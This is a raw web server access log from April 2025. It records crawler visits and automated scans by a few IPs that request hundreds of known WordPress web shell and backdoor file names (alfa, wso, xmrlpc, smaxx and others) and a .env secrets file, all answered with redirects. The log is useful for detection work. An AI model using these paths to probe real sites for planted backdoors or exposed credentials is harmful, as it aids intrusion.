[05/Apr/2025:04:33:53 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 135.148.195.1 - - [05/Apr/2025:05:03:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 216.244.66.236 - - [05/Apr/2025:06:55:04 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 205.210.31.39 - - [05/Apr/2025:07:22:28 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 216.244.66.236 - - [05/Apr/2025:07:44:05 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 34.122.147.229 - - [05/Apr/2025:08:05:45 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36 Edge/12.246" 34.122.147.229 - - [05/Apr/2025:08:06:32 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36 Edge/12.246" 54.76.144.26 - - [05/Apr/2025:08:08:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com)" 216.244.66.236 - - [05/Apr/2025:08:34:16 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 180.110.203.108 - - [05/Apr/2025:08:59:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 37.19.198.32 - - [05/Apr/2025:09:42:16 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 170.106.167.214 - - [05/Apr/2025:09:57:11 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.202.61.29 - - [05/Apr/2025:10:15:12 -0400] "GET //grimslut.com/wp-content/themes/bloghash/assets/js/bloghash-slider.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; XBLWP7; ZuneWP7) UCBrowser/2.9.0.263" 43.202.61.29 - - [05/Apr/2025:10:15:12 -0400] "GET //grimslut.com/wp-content/themes/bloghash/assets/js/vendors/swiper-bundle.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53" 216.244.66.236 - - [05/Apr/2025:11:23:07 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 161.97.95.113 - - [05/Apr/2025:11:33:23 -0400] "GET /wp-backdoor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:33:28 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:33:35 -0400] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:33:45 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:34:01 -0400] "GET /doc/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:34:02 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:34:08 -0400] "GET /wp-content/IXR/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:34:10 -0400] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:34:34 -0400] "GET /ioxi002.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:34:56 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:35:00 -0400] "GET /json.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:35:20 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:35:40 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:35:51 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:36:03 -0400] "GET /go.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:36:17 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:36:20 -0400] "GET /spam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:36:34 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:36:45 -0400] "GET /wp-includes/css/dist/niil.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:36:48 -0400] "GET /wordfence-waf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:37:35 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:37:36 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:37:44 -0400] "GET /backup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:37:48 -0400] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 161.97.95.113 - - [05/Apr/2025:11:37:59 -0400] "GET /ajax/xulp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 133.242.131.226 - - [05/Apr/2025:11:52:13 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36" 167.172.130.206 - - [05/Apr/2025:12:27:40 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 216.244.66.236 - - [05/Apr/2025:13:15:16 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 216.244.66.236 - - [05/Apr/2025:14:52:38 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 34.1.19.23 - - [05/Apr/2025:15:24:14 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko; compatible; BW/1.3; rb.gy/qyzae5) Chrome/124.0.0.0 Safari/537.36" 13.72.65.189 - - [05/Apr/2025:15:28:19 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:22 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:22 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:23 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:24 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:25 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:25 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:26 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:27 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:27 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:28 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:28 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:28 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:29 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:29 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:30 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:30 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:31 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:31 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:32 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:32 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:32 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:33 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:33 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:33 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:34 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:35 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:35 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:36 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:36 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:36 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:37 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:37 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:37 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:38 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:38 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:38 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:38 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:39 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:39 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:39 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:40 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:40 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:40 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:41 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:41 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:41 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:41 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:42 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:42 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:42 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:43 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:43 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:43 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:43 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:44 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:44 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:44 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:45 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:45 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:45 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:46 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:46 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:46 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:46 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:47 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:47 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:47 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:48 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:48 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:48 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:48 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:49 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:49 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:49 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:50 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:50 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:51 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:51 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:51 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:52 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:52 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:52 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:53 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:53 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:53 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:54 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:54 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:54 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:54 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:55 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:55 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:55 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:56 -0400] "GET /wp-content/plugins/linkpreview/db.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:56 -0400] "GET /wp-content/themes/seotheme/db.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:56 -0400] "GET /wp-content/plugins/seoplugins/db.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:57 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:57 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:57 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:57 -0400] "GET /wp-admin/network/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:58 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:58 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:58 -0400] "GET /css/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:59 -0400] "GET /wp-admin/user/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:59 -0400] "GET /img/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:28:59 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:00 -0400] "GET /wp-admin/images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:00 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:00 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:01 -0400] "GET /wp-admin/css/colors/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:01 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:01 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:02 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:03 -0400] "GET /smaxx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:05 -0400] "GET /wp-admin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:06 -0400] "GET /wp-content/plugins/WordPressCore/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:06 -0400] "GET /wp-includes/images/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:07 -0400] "GET /wp-content/plugins/core-plugin/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:07 -0400] "GET /wp-includes/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:08 -0400] "GET /wp-content/plugins/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:08 -0400] "GET /xt/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:08 -0400] "GET /wp-content/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:09 -0400] "GET /wp-content/themes/twentyfive/smaxx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:09 -0400] "GET /wp-content/upgrade/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:10 -0400] "GET /.well-known/pki-validation/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:10 -0400] "GET /wp-admin/user/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - [05/Apr/2025:15:29:10 -0400] "GET /wp-includes/ID3/sx.php HTTP/1.1" 301 795 "-" "-" 13.72.65.189 - - 